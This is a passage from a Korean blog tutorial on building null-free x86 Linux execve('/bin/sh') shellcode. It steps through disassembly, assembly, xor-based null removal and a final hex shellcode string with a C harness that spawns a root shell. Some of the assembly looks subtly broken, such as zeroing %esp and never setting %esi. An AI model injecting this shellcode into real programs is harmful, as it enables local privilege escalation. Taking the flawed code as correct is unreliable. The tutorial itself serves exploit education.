str[0]에 "/bin/sh" 문자열의 주소 저장 0x80481ed <main+13>: movl $0x0,0xfffffffc(%ebp) // str[1]에 NULL 저장 ========================================================= 그 다음엔 또 다시 4 바이트의 용량을 할당 받는데, 이 것은 아무런 의미도 없는 DUMMY 값이다. 바로 뒤쪽 부분을 보면 총 3개의 변수를 push하는 모습을 볼 수 있는데, 이 것들이 총 12 바이트이기 때문에 깔끔하게 16바이트로 맞춰주기 위해 4 바이트를 추가한 것이다. 첫 번째 push는 execve()함수의 마지막 인자인 0을 스택에 집어 넣은 것이다. 그리고 두 번째 push는 str[0]의 주소 값으로서, *str[2]으로 선언된 포인터 배열의 시작 주소를 스택에 저장한 것이다. 마지막 push는 str[0]에 저장된 주소 즉, "/bin/sh"의 주소 값을 스택에 저장한다. 그리고 이제 execve() 함수를 호출함으로서, main() 함수의 분석은 끝난다. ========================================================= 0x80481f4 <main+20>: sub $0x4,%esp // DUMMY 값 할당 0x80481f7 <main+23>: push $0x0 // 세 번째 인자 0 저장 0x80481f9 <main+25>: lea 0xfffffff8(%ebp),%eax // str[0]의 주소 값을 %eax에 저장 0x80481fc <main+28>: push %eax // 두 번째 인자 str[0]의 주소 저장 0x80481fd <main+29>: pushl 0xfffffff8(%ebp) // 세 번째 인자 str[1] 저장 0x8048200 <main+32>: call 0x804cb40 <execve> // execve() 함수 호출 ========================================================= 이제 main() 함수가 호출한 execve() 함수를 disassemble 해보자. 다소 긴 어셈블리어 코드가 출력되지만, 중요한 부분은 다음에 불과하다. ==================================================== 0x804cb46 <execve+6>: mov %esp,%ebp 0x804cb4c <execve+12>: mov 0x8(%ebp),%edi 0x804cb56 <execve+22>: mov 0xc(%ebp),%ecx 0x804cb59 <execve+25>: mov 0x10(%ebp),%edx 0x804cb5d <execve+29>: mov %edi,%ebx 0x804cb5f <execve+31>: mov $0xb,%eax 0x804cb64 <execve+36>: int $0x80 ==================================================== 일단, 상대 주소의 내용을 확인하기 위해 현새 스택의 모습을 상상해 보자. 낮은 메모리 주소 높은 메모리 주소 =========================================================================== SFP | execve의 RET | str[1] | str[0]의 주소 | 0 | SFP | main의 RET =========================================================================== <----- 스택에 값이 쌓이는 방향 이제 execve의 내용을 보면, 가장 먼저 새로운 base point가 설정되며, 그 다음 첫 번째 인자에 해당하는 값이 %edi 레지스터에 저장된다. 그리고 거기서 3줄 아랫 부분을 보면, 그 값을 다시 %ebx에 저장하는 모습을 볼 수 있다. 그 다음엔 두 번째 인자인 str[0]의 주소 값이 %ecx에 저장된다. 마지막으로 %edx에는 세 번째 인자인 0이 저장된다. 이를 정리하면 다음과 같다. %eax = 11 : execve 시스템 콜 번호 %ebx = str[1] : "/bin/sh" %ecx = str : 포인터 배열의 시작 주소 %edx = 0 : NULL ==================================================== 0x804cb46 <execve+6>: mov %esp,%ebp 0x804cb4c <execve+12>: mov 0x8(%ebp),%edi // 첫 번째 인자인 str[1] 0x804cb56 <execve+22>: mov 0xc(%ebp),%ecx // 두 번째 인자인 str[0]의 주소 0x804cb59 <execve+25>: mov 0x10(%ebp),%edx // 세 번째 인자인 0 0x804cb5d <execve+29>: mov %edi,%ebx // str[1]을 다시 %ebx에 저장 0x804cb5f <execve+31>: mov $0xb,%eax // execve 시스템 콜 번호인 11 0x804cb64 <execve+36>: int $0x80 ==================================================== 자, 그럼 이제 위 내용을 토대로 쉘을 실행시키는 프로그램을 어셈블리어로 작성해 보자. * 우리가 해야하는 것들 (1) %eax에 11을 넣기 (2) %ebx에 "/bin/sh"의 주소를 넣기 (3) %ecx에 포인터 배열 ["/bin/sh"의 주소][0]의 주소를 넣기 (4) %edx에 0을 넣기 (5) 시스템 콜 인터럽트 발생 보다시피 (3)번을 제외하고는 모두 간단한 작업이다. (3)번을 구현하는 과정만 유심히 살펴보면 전체 코드를 이해하는 것이 무난할 것이다. ============================================================== .globl main main: jmp come_here // 지난번 강좌 마지막에서 배웠던 테크닉 적용. func: movl $0x0b, %eax // execve의 시스템 콜 번호 11을 %eax에 넣음. popl %ebx // "/bin/sh"의 주소를 %ebx에 넣음. (첫째 인자) movl %ebx, (%esi) movl $0x00, 0x4(%esi) // 배열 포인터를 구현. ["/bin/sh"의 주소][0] leal (%esi), %ecx // 배열 포인터 시작 주소를 %ecx에 넣음. (둘째 인자) movl $0x00, %edx // NULL을 넣음. (셋째 인자) int $0x80 // 시스템 콜 호출 인터럽트 발생 // 여기서 부터는 exit(0)을 구현한 것. movl $0x01, %eax movl $0x00, %ebx int $0x80 come_here: calll func .string "/bin/sh\00" ============================================================== 그냥 레지스터 명을 사용하면, 그것은 레지스터 자체를 의미하지만, 레지스터 명에 괄호 ()를 넣으면, 레지스터에 저장되어있는 주소 값을 의미하게 된다는 점에 유의하며 코드를 이해하기 바란다. 즉, 만약 movl 0x0, %eax 라고 명령하면, %eax 레지스터에 0을 대입하라는 것이지만, movl 0x0, (%eax) 라고 명령하면, %eax에 저장되어 있는 주소에 0을 대입하라는 명령이다. 이제 위 코드를 컴파일하여, 정상적으로 쉘이 실행되는지 확인해보자. ================================================== [root@hackerschool assem]# gcc -o shell shell.s [root@hackerschool assem]# ./shell sh-2.05a# ================================================== 정상적으로 작동한다. 이제 위 어셈블리어 코드를 기계어로 변환하자. ============================================================================ [root@hackerschool assem]# objdump -d shell ... 생략 ... 080483d0 <main>: 80483d0: eb 24 jmp 80483f6 <come_here> 080483d2 <func>: 80483d2: b8 0b 00 00 00 mov $0xb,%eax 80483d7: 5b pop %ebx 80483d8: 89 1e mov %ebx,(%esi) 80483da: c7 46 04 00 00 00 00 movl $0x0,0x4(%esi) 80483e1: 8d 0e lea (%esi),%ecx 80483e3: ba 00 00 00 00 mov $0x0,%edx 80483e8: cd 80 int $0x80 80483ea: b8 01 00 00 00 mov $0x1,%eax 80483ef: bb 00 00 00 00 mov $0x0,%ebx 80483f4: cd 80 int $0x80 080483f6 <come_here>: 80483f6: e8 d7 ff ff ff call 80483d2 <func> 80483fb: 2f das 80483fc: 62 69 6e bound %ebp,0x6e(%ecx) 80483ff: 2f das 8048400: 73 68 jae 804846a <gcc2_compiled.+0x1a> 8048402: 00 00 add %al,(%eax) ... 생략 ... ============================================================================ 위 쉘코드에 언뜻 보기엔 아무런 문제가 없어 보이지만, 사실 아주 치명적인 문제가 존재한다. 그것은 바로 쉘 코드 중간 중간에 \x00 이라는 문자가 있다는 점이다. 만약, 이 쉘코드가 strcpy() 등의 문자열을 다루는 함수에 사용된다면 쉘코드 내용이 중간에 짤려나가 버릴 것이다. 왜냐햐면, 대부분의 문자열을 다루는 함수들이 \x00(NULL) 문자를 만나면 그것이 문자열의 끝으로 인식하여 값을 읽어 들이는 작업을 중단하기 때문이다. 그럼 어떤 방법으로 \x00 값을 없앨 수 있을까? 가장 많이 사용되는 간단한 트릭 하나를 소개하겠다. 어셈블리어 명령 중에는 xor 이라는 배타적 논리합을 의미하는 것이 있다. 배타적 논리합이란, A와 B값이 주어졌을 때, A와 B가 서로 다를 때만 참이 되는 연산 방법이다. 다음의 예를 보자. A : 1010 A : 0010 A : 1110 A : 0010 B : 1011 B : 1001 B : 0000 B : 0010 결과 : 0001 결과 : 1011 결과 : 1110 결과 : 0000 위 결과를 보면 연산 방법에 대해 쉽게 이해가 될 것이다. 위 4가지 예제에서 주목할 만한 것은 바로 네 번째 결과이다. A가 0010이고, B도 0010으로 두 값이 서로 완전히 같다. 이렇게 두 값이 완전히 같을 땐 그 결과가 무조건 0이 되어 버린다. XOR 연산 원리에 의해 당연히 나타나는 현상이며, XOR 연산의 특징이다. 자, 그럼 이제 특정 레지스터의 값을 모두 0으로 채우는 방법을 알아냈다. 한 예로 위에서 "mov $0xb,%eax" 명령을 보자. %eax에 0xb 값이 저장될 때 4바이트 단위로 변환되서 저장되기 때문에, 실제로는 "mov $0x0000000b %eax" 명령이 된다. 바로 이 과정에서 \00이 나타났던 것이다. 그럼, 일단 XOR 명령을 이용하여 %eax의 값을 몽땅 0으로 바꾸어 보자. "xor %eax %eax" 이 명령으로 인해 이제 %eax의 값은 모두 0이 되었다. 왜냐햐면 앞서 배웠던 바와 같이 두 연산 인자가 완전히 같다면 xor 연산 결과는 무조건 0이 되기 때문이다. 그럼 이제 문제는 %eax의 마지막 1바이트에 \x0b 값을 넣는 방법이다. 이 것은 어셈블리어 명령들이 각 바이트 수에 적합하게 나뉘어져 존재함으로 가능해진다. 우리는 지금까지 mov 명령을 사용할 때, 실제로 movl이라고 뒤에 l을 붙여 사용 했다. 이 뒤의 l은 longword. 즉, 4바이트 의미하며, l 이외에 w와 b가 따로 존재 한다. 즉, movw 명령을 사용하면 2바이트만을 mov하게 되고, 마찬가지로 movb 명령을 사용하면 단 1바이트만을 mov하게 된다. 자, 이제 이 사실을 알았으니 %eax의 끝 부분에 쉽게 \x0b 값을 넣을 수 있을 것이다. "xor %eax %eax" <- %eax를 모두 0으로 바꾼 후.. "movb $0x0b %eax" <- %eax의 끝 바이트에만 \x0b를 넣는다. 이제 \x00이 존재하는 나머지 명령들도 위와 같은 방법을 사용하여 수정해 보자. * 원래 코드 ============================================================== .globl main main: jmp come_here func: movl $0x0b, %eax popl %ebx movl %ebx, (%esi) movl $0x00, 0x4(%esi) leal (%esi), %ecx movl $0x00, %edx int $0x80 movl $0x01, %eax movl $0x00, %ebx int $0x80 come_here: calll func .string "/bin/sh\00" ============================================================== * 수정된 코드 ============================================================== .globl main main: jmp come_here func: xor %eax, %eax movb $0x0b, %eax popl %ebx movl %ebx, (%esi) xor 0x4(%esi), 0x4(%esi) leal (%esi), %ecx xor %edx, %edx int $0x80 xor %eax, %eax movb $0x01, %eax xor %ebx, %ebx int $0x80 come_here: calll func .string "/bin/sh\00" ============================================================== 여기서 한 가지 문제가 생기는데, 그것은 바로 xor 0x4(%esi), 0x4(%esi) 부분이다. 이런 명령은 어셈블리어 문법에 맞지 않기 때문이다. 그럼 이런 부분은 어떻게 해결할 수 있을까? 방법은 간단하다. 0으로 가득차 있는 변수 하나를 가져와서 복사하는 것이다. xor 0x4(%esi), 0x4(%esi)의 바로 윗 줄에 0으로 가득찬 레지스터를 하나 만든 후, 그것을 movl하자. xor 0x4(%esi), 0x4(%esi) ---> xor %esp, %esp movl %esp, 0x4(%esi) 이제 완성된 모습은 다음과 같다. ============================================================== .globl main main: jmp come_here func: xor %eax, %eax movb $0x0b, %eax popl %ebx movl %ebx, (%esi) xor %esp, %esp movl %esp, 0x4(%esi) leal (%esi), %ecx xor %edx, %edx int $0x80 xor %eax, %eax movb $0x01, %eax xor %ebx, %ebx int $0x80 come_here: calll func .string "/bin/sh\00" ============================================================== 이제 100% 완벽한가? 아니다. /bin/sh 바로 뒤에 \x00이 딱 하나 남아있다. 이것 역시 0x4(%esi)를 바꾼 것과 같은 방법으로 해결할 수 있다. 일단, .string에 있는 \00을 없앤 후, 다음과 같이 코드를 수정한다. popl %ebx ---> popl %ebx xor %esp, %esp movl %esp, 0x7(%ebx) "/bin/sh"의 총 길이가 7 바이트이기 때문에 그만큼 떨어진 부분에 0을 넣었다. 이로써, 단 한 개의 NULL도 존재하지 않는 기계어 코드를 완성하였다. 이제 이 어셈블리어 코드를 컴파일하고, 완성된 기계어를 objdump로 최종 검토 해보자. ========================================================================= ... 생략 ... 080483d0 <main>: 80483d0: eb 1f jmp 80483f1 <come_here> 080483d2 <func>: 80483d2: 31 c0 xor %eax,%eax 80483d4: b0 0b mov $0xb,%al 80483d6: 5b pop %ebx 80483d7: 31 e4 xor %esp,%esp 80483d9: 89 63 07 mov %esp,0x7(%ebx) 80483dc: 89 1e mov %ebx,(%esi) 80483de: 31 e4 xor %esp,%esp 80483e0: 89 66 04 mov %esp,0x4(%esi) 80483e3: 8d 0e lea (%esi),%ecx 80483e5: 31 d2 xor %edx,%edx 80483e7: cd 80 int $0x80 80483e9: 31 c0 xor %eax,%eax 80483eb: b0 01 mov $0x1,%al 80483ed: 31 db xor %ebx,%ebx 80483ef: cd 80 int $0x80 080483f1 <come_here>: 80483f1: e8 dc ff ff ff call 80483d2 <func> 80483f6: 2f das 80483f7: 62 69 6e bound %ebp,0x6e(%ecx) 80483fa: 2f das 80483fb: 73 68 jae 8048465 <_IO_stdin_used+0x1> =========================================================================== 보다시피, 단 한 개의 NULL(0x00)도 존재하지 않는다. 이제 거의 완벽한 쉘 코드가 만들어진 듯 하지만, 지금까지 쉬운 이해를 목적으로 설명하며 쉘코드를 만들었기 때문에 소스가 다소 비효율적이고, 반복된 부분도 있다. 따라서, 앞서 만든 코드를 조금 더 깔끔하게 수정해 보도록 하겠다. 참고로, 쉘코드는 취약 프로그램의 한정된 버퍼 안으로 저장되야 하는 경우가 많이 때문에 쉘코드의 사이즈가 적으면 적을 수록 더욱 공격에 유리하다. 실제 국외 유명 Exploit 사이트인 hack.co.za에선 가장 짧은 쉘코드 만들기 컨테스트가 열렸을 정도로 해커들 사이에서 짧은 쉘코드 만들기 기술은 흥미로운 주제가 되기도 한다. 참고로, 현재까지 발표된 쉘코드들 중 가장 짧은 것은 약 22바이트이다. 위 쉘코드의 경우엔 45바이트를 차지하고 있는데, 어셈블리어 코드를 약간 수정 하여 조금 더 세련된 쉘코드로 발전시켜보도록 하자. ============================================================================= 080483d0 <main>: 80483d0: eb 15 jmp 80483e7 <come_here> 080483d2 <func>: 80483d2: 31 c0 xor %eax,%eax 80483d4: 5b pop %ebx 80483d5: 89 43 07 mov %eax,0x7(%ebx) 80483d8: 89 1e mov %ebx,(%esi) 80483da: 89 46 04 mov %eax,0x4(%esi) 80483dd: b0 0b mov $0xb,%al 80483df: 31 e4 xor %esp,%esp 80483e1: 8d 0e lea (%esi),%ecx 80483e3: 31 d2 xor %edx,%edx 80483e5: cd 80 int $0x80 080483e7 <come_here>: 80483e7: e8 e6 ff ff ff call 80483d2 <func> 80483ec: 2f das 80483ed: 62 69 6e bound %ebp,0x6e(%ecx) 80483f0: 2f das 80483f1: 73 68 jae 804845b <gcc2_compiled.+0x1b> ============================================================================= 약, 10바이트 가량 축소되었다. xor 코드가 중복된 것을 최소화 시켰고, exit(0) 부분은 제거를 시켰다. 왜냐하면, /bin/sh이 실행되면서 새로운 메모리 공간으로 이동되기 때문에 exit(0)로 뒷 정리를 해줄 필요가 없으며, 이 쉘에서 나올 때 exit 명령을 사용하기 때문에 굳이 exit(0)을 넣어줄 필요가 없기 때문이다. 그럼, 지금까지 만든 기계어를 16진수로 형태로 쭈욱 이어보자. \xeb\x15\x31\xc0\x5b\x89\x43\x07\x89\x1e\x89\x46\x04\xb0\x0b\x31\xe4\x8d\x0e \x31\xd2\xcd\x80\xe8\xe6\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68 이것이 완성된 쉘코드이다. 이제 실제 다른 프로그램 안에서도 정상적으로 작동 하는지 확인을 해보자. ========================================================================= char code[] = "\xeb\x15\x31\xc0\x5b\x89\x43\x07\x89\x1e\x89\x46\x04" "\xb0\x0b\x31\xe4\x8d\x0e\x31\xd2\xcd\x80\xe8\xe6\xff" "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; int main() { void (*pointer)(void); pointer = (void *)code; pointer(); } ========================================================================= ========================================================================= [root@hackerschool assem]# gcc -o shell shell.c [root@hackerschool assem]# ./shell sh-2.05a# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) sh-2.05a# exit exit [root@hackerschool assem]# ========================================================================= 성공이다. 이로써 쉘코드 만들기가 끝났다. 하지만, 위 쉘코드로 /bin/sh를 실행 시키면 한 가지 문제가 생긴다. 왜냐하면 레드햇 버젼 7.0 이후에, /bin/sh(bash)가 백도어로 사용되는 것을 방지하기 위해 /bin/sh이 실행될 때 프로그램의 실행 권한이 아닌, 프로그램을 실행시킨 사용자의 권한으로 실행되기 때문이다. 따라서 mirable이라는 사용자가 root 권한의 파일을 해킹하여 /bin/sh을 실행하면, root가 아닌, mirable 권한의 쉘을 얻게 된다. 하지만, 이 문제는 쉘을 실행시키기 전에 setreuid(0,0);을 호출함으로써 아주 쉽게 해결할 수 있다. 이처럼, /bin/sh의 방어나 chroot(), 쉘코드 문자 필터링 등을 우회하는 쉘코드. 혹은, 리모트 환경 상에서 사용할 수 있는 bindshell, reverse telnet 쉘코드 등을 만드는 쉘코드에 대해서는 따로 심도있게 다루어 보기로 하고, 이 강좌는 가장 기본적인 쉘코드 만들기를 목적으로 하고 이쯤에서 마치도록 하겠다.
728x90
반응형
'Programming' 카테고리의 다른 글
[Security/ShellCode] shell code (0) | 2014.03.31 |
---|---|
[Security/BOF] [Level 1] gate -> gremlin (0) | 2014.03.30 |
[Security] Stack fream (0) | 2014.03.29 |
[OS] os architecture (0) | 2014.03.27 |
[OS] Multiprogramming (0) | 2014.03.16 |